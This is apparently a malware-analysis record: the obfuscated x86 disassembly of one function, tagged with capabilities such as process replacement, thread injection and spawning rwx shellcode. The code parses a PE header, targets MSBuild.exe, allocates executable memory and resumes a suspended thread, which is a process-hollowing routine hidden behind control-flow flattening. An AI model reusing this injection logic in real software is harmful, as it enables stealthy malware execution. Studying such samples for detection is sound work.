Function at 0x1000e5e0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10c
mov eax, dword [0x10091080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10092624]
mov eax, dword [0x10092620]
mov edx, ecx
add edx, 0x3f955c7
sub edx, 1
sub edx, 0x3f955c7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x10e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x10d], al
mov dword [ebp - 0x114], 0x54876fc3
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x118], eax
sub eax, 0x80d1a3a6
je 0x10012bd3
jmp 0x1000e65b
mov eax, dword [ebp - 0x118]
sub eax, 0x817f1ca7
je 0x10013654
jmp 0x1000e671
mov eax, dword [ebp - 0x118]
sub eax, 0x81fd40e8
je 0x1001030b
jmp 0x1000e687
mov eax, dword [ebp - 0x118]
sub eax, 0x863c4ad4
je 0x10013583
jmp 0x1000e69d
mov eax, dword [ebp - 0x118]
sub eax, 0x864a8f0c
je 0x10010c1d
jmp 0x1000e6b3
mov eax, dword [ebp - 0x118]
sub eax, 0x8658461a
je 0x10013957
jmp 0x1000e6c9
mov eax, dword [ebp - 0x118]
sub eax, 0x871068a6
je 0x100121cd
jmp 0x1000e6df
mov eax, dword [ebp - 0x118]
sub eax, 0x87229bd2
je 0x10013209
jmp 0x1000e6f5
mov eax, dword [ebp - 0x118]
sub eax, 0x89459a14
je 0x100125e9
jmp 0x1000e70b
mov eax, dword [ebp - 0x118]
sub eax, 0x89fca838
je 0x10012ad8
jmp 0x1000e721
mov eax, dword [ebp - 0x118]
sub eax, 0x8a58d498
je 0x10011588
jmp 0x1000e737
mov eax, dword [ebp - 0x118]
sub eax, 0x8abb776d
je 0x100115a0
jmp 0x1000e74d
mov eax, dword [ebp - 0x118]
sub eax, 0x8ad08762
je 0x100107ae
jmp 0x1000e763
mov eax, dword [ebp - 0x118]
sub eax, 0x8aff7030
je 0x100139b4
jmp 0x1000e779
mov eax, dword [ebp - 0x118]
sub eax, 0x8bf86c3a
je 0x1001069e
jmp 0x1000e78f
mov eax, dword [ebp - 0x118]
sub eax, 0x8c60fef4
je 0x10011bd4
jmp 0x1000e7a5
mov eax, dword [ebp - 0x118]
sub eax, 0x8df93e77
je 0x10011807
jmp 0x1000e7bb
mov eax, dword [ebp - 0x118]
sub eax, 0x8dfd441d
je 0x100124e0
jmp 0x1000e7d1
mov eax, dword [ebp - 0x118]
sub eax, 0x8e26e13a
je 0x10013c50
jmp 0x1000e7e7
mov eax, dword [ebp - 0x118]
sub eax, 0x8e2c12cc
je 0x10012055
jmp 0x1000e7fd
mov eax, dword [ebp - 0x118]
sub eax, 0x8e5abc17
je 0x100139a5
jmp 0x1000e813
mov eax, dword [ebp - 0x118]
sub eax, 0x9031e906
je 0x10011e29
jmp 0x1000e829
mov eax, dword [ebp - 0x118]
sub eax, 0x90f83627
je 0x10013a2b
jmp 0x1000e83f
mov eax, dword [ebp - 0x118]
sub eax, 0x918b7b74
je 0x10011e4c
jmp 0x1000e855
mov eax, dword [ebp - 0x118]
sub eax, 0x93e37aaa
je 0x10010234
jmp 0x1000e86b
mov eax, dword [ebp - 0x118]
sub eax, 0x9539346d
je 0x100120db
jmp 0x1000e881
mov eax, dword [ebp - 0x118]
sub eax, 0x9562ebfe
je 0x10012823
jmp 0x1000e897
mov eax, dword [ebp - 0x118]
sub eax, 0x95973f97
je 0x10011045
jmp 0x1000e8ad
mov eax, dword [ebp - 0x118]
sub eax, 0x963299bd
je 0x100119d0
jmp 0x1000e8c3
mov eax, dword [ebp - 0x118]
sub eax, 0x991320ca
je 0x100113ea
jmp 0x1000e8d9
mov eax, dword [ebp - 0x118]
sub eax, 0x9914e807
je 0x10010b29
jmp 0x1000e8ef
mov eax, dword [ebp - 0x118]
sub eax, 0x9a13a9ab
je 0x1001041c
jmp 0x1000e905
mov eax, dword [ebp - 0x118]
sub eax, 0x9a5832cf
je 0x100112db
jmp 0x1000e91b
mov eax, dword [ebp - 0x118]
sub eax, 0x9e0e2a4a
je 0x10011dc9
jmp 0x1000e931
mov eax, dword [ebp - 0x118]
sub eax, 0x9f157279
je 0x10010cfb
jmp 0x1000e947
mov eax, dword [ebp - 0x118]
sub eax, 0x9ffe48cc
je 0x10011726
jmp 0x1000e95d
mov eax, dword [ebp - 0x118]
sub eax, 0xa06a45d0
je 0x10011547
jmp 0x1000e973
mov eax, dword [ebp - 0x118]
sub eax, 0xa1f462e8
je 0x10010d7a
jmp 0x1000e989
mov eax, dword [ebp - 0x118]
sub eax, 0xa3ebf85d
je 0x10012d70
jmp 0x1000e99f
mov eax, dword [ebp - 0x118]
sub eax, 0xa3f04ae8
je 0x10011708
jmp 0x1000e9b5
mov eax, dword [ebp - 0x118]
sub eax, 0xa531d005
je 0x100138c5
jmp 0x1000e9cb
mov eax, dword [ebp - 0x118]
sub eax, 0xa77b180d
je 0x100115e6
jmp 0x1000e9e1
mov eax, dword [ebp - 0x118]
sub eax, 0xa8af6f3f
je 0x100127d2
jmp 0x1000e9f7
mov eax, dword [ebp - 0x118]
sub eax, 0xaaaab63c
je 0x10011f04
jmp 0x1000ea0d
mov eax, dword [ebp - 0x118]
sub eax, 0xabb8e2ec
je 0x100104c5
jmp 0x1000ea23
mov eax, dword [ebp - 0x118]
sub eax, 0xac806c48
je 0x1001031a
jmp 0x1000ea39
mov eax, dword [ebp - 0x118]
sub eax, 0xae3e4f52
je 0x10012fc1
jmp 0x1000ea4f
mov eax, dword [ebp - 0x118]
sub eax, 0xaea7ac57
je 0x10011fd0
jmp 0x1000ea65
mov eax, dword [ebp - 0x118]
sub eax, 0xaf88062f
je 0x10010812
jmp 0x1000ea7b
mov eax, dword [ebp - 0x118]
sub eax, 0xb1b2fd46
je 0x100115fe
jmp 0x1000ea91
mov eax, dword [ebp - 0x118]
sub eax, 0xb1cab3f8
je 0x10013311
jmp 0x1000eaa7
mov eax, dword [ebp - 0x118]
sub eax, 0xb1e259a2
je 0x1001017e
jmp 0x1000eabd
mov eax, dword [ebp - 0x118]
sub eax, 0xb2018717
je 0x10011ca6
jmp 0x1000ead3
mov eax, dword [ebp - 0x118]
sub eax, 0xb249e5fd
je 0x10010bcc
jmp 0x1000eae9
mov eax, dword [ebp - 0x118]
sub eax, 0xb36673e0
je 0x100117ef
jmp 0x1000eaff
mov eax, dword [ebp - 0x118]
sub eax, 0xb452099b
je 0x100136bd
jmp 0x1000eb15
mov eax, dword [ebp - 0x118]
sub eax, 0xb4efb19d
je 0x10012699
jmp 0x1000eb2b
mov eax, dword [ebp - 0x118]
sub eax, 0xb53f110d
je 0x10013a46
jmp 0x1000eb41
mov eax, dword [ebp - 0x118]
sub eax, 0xb61c97ac
je 0x10012a04
jmp 0x1000eb57
mov eax, dword [ebp - 0x118]
sub eax, 0xb7e9b163
je 0x100138b6
jmp 0x1000eb6d
mov eax, dword [ebp - 0x118]
sub eax, 0xb8cfdb47
je 0x1001019f
jmp 0x1000eb83
mov eax, dword [ebp - 0x118]
sub eax, 0xb97914df
je 0x10013a55
jmp 0x1000eb99
mov eax, dword [ebp - 0x118]
sub eax, 0xba714402
je 0x1001386b
jmp 0x1000ebaf
mov eax, dword [ebp - 0x118]
sub eax, 0xba90a7d9
je 0x10011b13
jmp 0x1000ebc5
mov eax, dword [ebp - 0x118]
sub eax, 0xbb34d86f
je 0x10012064
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x114], 0xb8cfdb47
jmp 0x10013c5a
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x10c]
mov byte [eax], 1
mov eax, dword [ebp - 0x10c]
mov dl, byte [eax]
mov eax, 0x31b185a
mov ecx, 0x475734b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov dword [ebp - 0x114], 0x3833f676
jmp 0x10013c5a
mov dword [ebp - 0x114], 0xac806c48
jmp 0x10013c5a
mov dl, 1
mov eax, 0x1032b1c5
mov ecx, 0xfaf09059
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov dword [ebp - 0x114], 0xc47d1e2d
jmp 0x10013c5a
mov dword [ebp - 0x114], 0x62c33ca3
jmp 0x10013c5a
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x114], 0xed65b637
jmp 0x10013c5a
mov eax, dword [ebp - 0x108]
mov dword [eax], 0
mov dword [ebp - 0x114], 0x16defd33
jmp 0x10013c5a
mov ecx, dword [0x10092624]
mov eax, dword [0x10092620]
mov edx, ecx
add edx, 0x799df4d4
sub edx, 1
sub edx, 0x799df4d4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5d894579
mov ecx, 0x3b064948
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov dl, 1
mov eax, 0x3771e0a3
mov ecx, 0xf57956a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov eax, dword [0x10092624]
mov ecx, dword [0x10092620]
mov edx, eax
sub edx, 0xe299432f
sub edx, 1
add edx, 0xe299432f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf57b43e1
mov ecx, 0x864a8f0c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov dword [ebp - 0x114], 0xbc341022
jmp 0x10013c5a
mov dword [ebp - 0x114], 0xbc341022
jmp 0x10013c5a
mov dword [ebp - 0x114], 0x95973f97
jmp 0x10013c5a
mov eax, dword [ebp - 0xfc]
mov dword [eax], 0xefb8ee8
mov eax, dword [ebp - 0xfc]
cmp dword [eax], 0xefb8ec3
setg al
and al, 1
mov byte [ebp - 0x86], al
mov dword [ebp - 0x114], 0xc9cb099
jmp 0x10013c5a
mov dword [ebp - 0x114], 0xe6db0c48
jmp 0x10013c5a
mov eax, dword [0x10092624]
mov ecx, dword [0x10092620]
mov edx, eax
sub edx, 0xdda235c7
sub edx, 1
add edx, 0xdda235c7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfb779950
mov ecx, 0x71c77a19
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov eax, dword [ebp - 0xf4]
mov byte [eax], 1
mov eax, dword [ebp - 0xf4]
mov al, byte [eax]
mov byte [ebp - 0x7c], al
mov dword [ebp - 0x114], 0x75ea7297
jmp 0x10013c5a
mov eax, dword [ebp - 0xf4]
mov byte [eax], 1
mov dword [ebp - 0x114], 0x8abb776d
jmp 0x10013c5a
mov dword [ebp - 0x114], 0xe72ea282
jmp 0x10013c5a
mov eax, dword [ebp - 0xf4]
mov byte [eax], 1
mov dword [ebp - 0x114], 0xb1b2fd46
jmp 0x10013c5a
mov dword [ebp - 0x114], 0x3755a038
jmp 0x10013c5a
mov dl, byte [ebp - 0x7b]
mov eax, 0x9ffe48cc
mov ecx, 0xb36673e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov eax, dword [ebp - 0xf0]
mov byte [eax], 1
mov dword [ebp - 0x114], 0xf5d59b71
jmp 0x10013c5a
mov eax, dword [ebp - 0xf0]
mov byte [eax], 1
mov dword [ebp - 0x114], 0x8df93e77
jmp 0x10013c5a
mov ecx, dword [0x10092624]
mov eax, dword [0x10092620]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8658461a
mov ecx, 0x31a27c50
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov dword [ebp - 0x114], 0x5cfedaa6
jmp 0x10013c5a
mov eax, dword [ebp - 0xf0]
mov byte [eax], 1
mov eax, dword [0x10092624]
mov ecx, dword [0x10092620]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6d91694e
mov ecx, 0x3e6d6d26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov ecx, dword [0x10092624]
mov eax, dword [0x10092620]
mov edx, ecx
add edx, 0x8cf2bb0c
sub edx, 1
sub edx, 0x8cf2bb0c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8e5abc17
mov ecx, 0x71116818
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov eax, dword [0x10092624]
mov ecx, dword [0x10092620]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8aff7030
mov ecx, 0x758b9d70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov eax, dword [0x10092624]
mov ecx, dword [0x10092620]
mov edx, eax
sub edx, 0xd3a8dce6
sub edx, 1
add edx, 0xd3a8dce6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe98581db
mov ecx, 0x7fc3135b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov eax, dword [ebp - 0xec]
cmp dword [eax], 0xefb8ee3
setle al
and al, 1
mov byte [ebp - 0x79], al
mov dword [ebp - 0x114], 0x918b7b74
jmp 0x10013c5a
mov eax, dword [0x10092624]
mov ecx, dword [0x10092620]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4899187b
mov ecx, 0x470c5b77
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x114], 0x14868cde
jmp 0x10013c5a
mov ecx, dword [0x10092624]
mov eax, dword [0x10092620]
mov edx, ecx
add edx, 0xaf783b02
sub edx, 1
sub edx, 0xaf783b02
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc45b4c21
mov ecx, 0xce3e4090
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov dword [ebp - 0x114], 0xbb34d86f
jmp 0x10013c5a
mov eax, dword [0x10092624]
mov ecx, dword [0x10092620]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3c84b115
mov ecx, 0x2a2ece7d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
sub eax, 0x129570d5
add eax, 1
add eax, 0x129570d5
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x114], 0x709ec9b2
jmp 0x10013c5a
mov dword [ebp - 0x114], 0x5af2e6ee
jmp 0x10013c5a
mov dword [ebp - 0x114], 0x4450ba09
jmp 0x10013c5a
mov eax, dword [ebp - 0x60]
movzx edx, word [eax]
mov eax, 0xe9c09590
mov ecx, 0x5f3db6a7
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov eax, dword [0x10092624]
mov ecx, dword [0x10092620]
mov edx, eax
sub edx, 0x8d5710ef
sub edx, 1
add edx, 0x8d5710ef
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf9b10890
mov ecx, 0x9562ebfe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov eax, dword [ebp - 0x58]
cmp dword [eax], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xc4]
mov byte [eax], cl
mov eax, dword [ebp - 0xc0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0x52], al
mov ecx, dword [0x10092624]
mov eax, dword [0x10092620]
mov edx, ecx
sub edx, 0x5b99fa69
sub edx, 1
add edx, 0x5b99fa69
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf9b10890
mov ecx, 0xe3c79add
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.1000a6a0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xcc]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb4]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0x3ec29ba5
jmp 0x10013c5a
mov eax, dword [0x10092624]
mov ecx, dword [0x10092620]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x289e1cfe
mov ecx, 0x5d78dd83
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov dword [ebp - 0x114], 0x7505f5f3
jmp 0x10013c5a
mov ax, word [ebp - 0x3e]
movzx esi, ax
mov edx, dword [ebp - 0x44]
mov eax, 0xbe65be05
mov ecx, 0x49b46d81
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 8
sub eax, ecx
mov dword [ebp - 0x30], eax
mov eax, dword [0x10092624]
mov ecx, dword [0x10092620]
mov edx, eax
sub edx, 0x11aeff80
sub edx, 1
add edx, 0x11aeff80
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3fb1e4c1
mov ecx, 0x58bdd935
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov eax, dword [ebp - 0x28]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x21], al
mov ecx, dword [0x10092624]
mov eax, dword [0x10092620]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3cb4b6ec
mov ecx, 0x3ae5c2d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x9c]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x98]
mov dword [eax], ecx
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov ecx, dword [0x10092624]
mov eax, dword [0x10092620]
mov edx, ecx
sub edx, 0x44303e56
sub edx, 1
add edx, 0x44303e56
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3ced3ac8
mov ecx, 0xc06ba940
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov eax, dword [ebp - 0x18]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x114], 0xfc4d011e
jmp 0x10013c5a
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x10092624]
mov ecx, dword [0x10092620]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x14100225
mov ecx, 0xf1d171e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10013c5a
mov dword [ebp - 0x114], 0xe9c09590
jmp 0x10013c5a
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x114], 0x561d3eb9
jmp 0x10013c5a
mov dword [ebp - 0x114], 0xce9f5307
jmp 0x10013c5a
mov dword [ebp - 0x114], 0xbd9d7001
jmp 0x10013c5a
mov dword [ebp - 0x114], 0x31a27c50
jmp 0x10013c5a
mov dword [ebp - 0x114], 0x8c60fef4
jmp 0x10013c5a
mov eax, dword [ebp - 0xec]
mov dword [eax], 0xefb8ed7
mov dword [ebp - 0x114], 0x758b9d70
jmp 0x10013c5a
mov eax, dword [ebp - 0xe8]
mov dword [eax], 1
mov dword [ebp - 0x114], 0xe63ee8fe
jmp 0x10013c5a
mov dword [ebp - 0x114], 0xefd41350
jmp 0x10013c5a
mov eax, dword [ebp - 0xe4]
mov dword [eax], 0xefb8ee6
mov dword [ebp - 0x114], 0x3557351f
jmp 0x10013c5a
mov dword [ebp - 0x114], 0x707343c8
jmp 0x1000e63f